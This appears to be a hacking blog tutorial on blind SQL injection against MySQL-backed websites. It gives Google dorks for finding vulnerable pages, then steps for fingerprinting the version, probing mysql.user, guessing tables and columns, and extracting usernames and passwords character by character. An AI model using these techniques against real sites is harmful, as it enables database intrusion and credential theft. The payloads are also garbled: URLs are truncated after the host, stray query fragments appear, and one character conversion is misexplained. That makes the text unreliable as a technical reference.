Blind SQL Injection
In this chapter we will learnt about Blind Sql Injection.
This is more advanced then an ordinary one just keep on reading and you will understand why.
Some Google dorks for Sql injection: (Not all of these needs to be hacked with the Blind Sqli method.
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
I am using our target example as:
http://www.site.com/
When we execute this, we see some page and articles on that page, pictures etc...
then when we want to test it for blind Sql injection attack
http://www.site.com/
The page loads normally, that's okay.
Now the real test.
http://www.site.com/
So if some text, picture or some content is missing on returned page then that site is vulnerable to blind
Sql injection.
Step 1:
Get the MySQL version:
To get the version in blind attack we use substring.
http://www.site.com/
This should return TRUE if the version of MySQL is 4.
Replace 4 with 5, and if query return TRUE then the version is 5.
http://www.site.com/
Step 2:
Test if subselect works:
When select don't work then we use subselect
http://www.site.com/
If page loads normally then subselects work.
Then we going to see if we have access to mysql.user
http://www.site.com/
If page loads normally we have access to mysql.user and then later we can pull some password using
load_file() function and OUTFILE
Step 3:
Check table and column names:
This part might be tricky because you have to guess.
For example
http://www.site.com/
(with limit 0,1 our query here returns 1 row of data, cause subselect returns only
1 row, this is very important.)
Then if the page loads normally without content missing, the table users exits.
If you get FALSE (some article missing), just change table name until you guess the right one.
Let's say that we have found that table name is users, now what we need is column name.
The same as table name, we start guessing. As same I said before try the common names for columns.
http://www.site.com/
om users limit 0,1)=1
If the page loads normally we know that column name is password (if we get false then try common
names or just guess)
Here we merge 1 with the column password, then substring returns the first character (,1,1)
Step 4:
Pull data from the database:
We found table users in columns username password so we are going to pull characters from that.
http://www.site.com/
,password) from users limit 0,1),1,1))>80
Ok this here pulls the first character from first user in table users.
Substring here returns first character and 1 character in length. ascii() converts that 1 character into
ascii value
and then compare it with symbol greater then > .
So if the ascii character greater then 80, the page loads normally. (TRUE)
We keep trying until we get false.
http://www.site.com/
,password) from users limit 0,1),1,1))>95
We get TRUE, keep on raising the value.
http://www.site.com/
,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/
,password) from users limit 0,1),1,1))>99
Let’s say we got a false value now.
So the first character in username is char(99). Using the ascii converter we know that char(99) is letter
'c'.
then let's check the second character.
http://www.site.com/
,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1
character in length)
http://www.site.com/
,password) from users limit 0,1),2,1))>99
True keep going.
http://www.site.com/
,password) from users limit 0,1),2,1))>107
False lower number.
http://www.site.com/
,password) from users limit 0,1),2,1))>104
True go higher.
http://www.site.com/
,password) from users limit 0,1),2,1))>105
False! We now know that the character is 105 so if we count it with hex it's i.
We have "ci" so far.
So keep going up until you get the end. (When >0 returns false we know that we have reach to the
end).
-Admin (Zakir)
No comments:
Post a Comment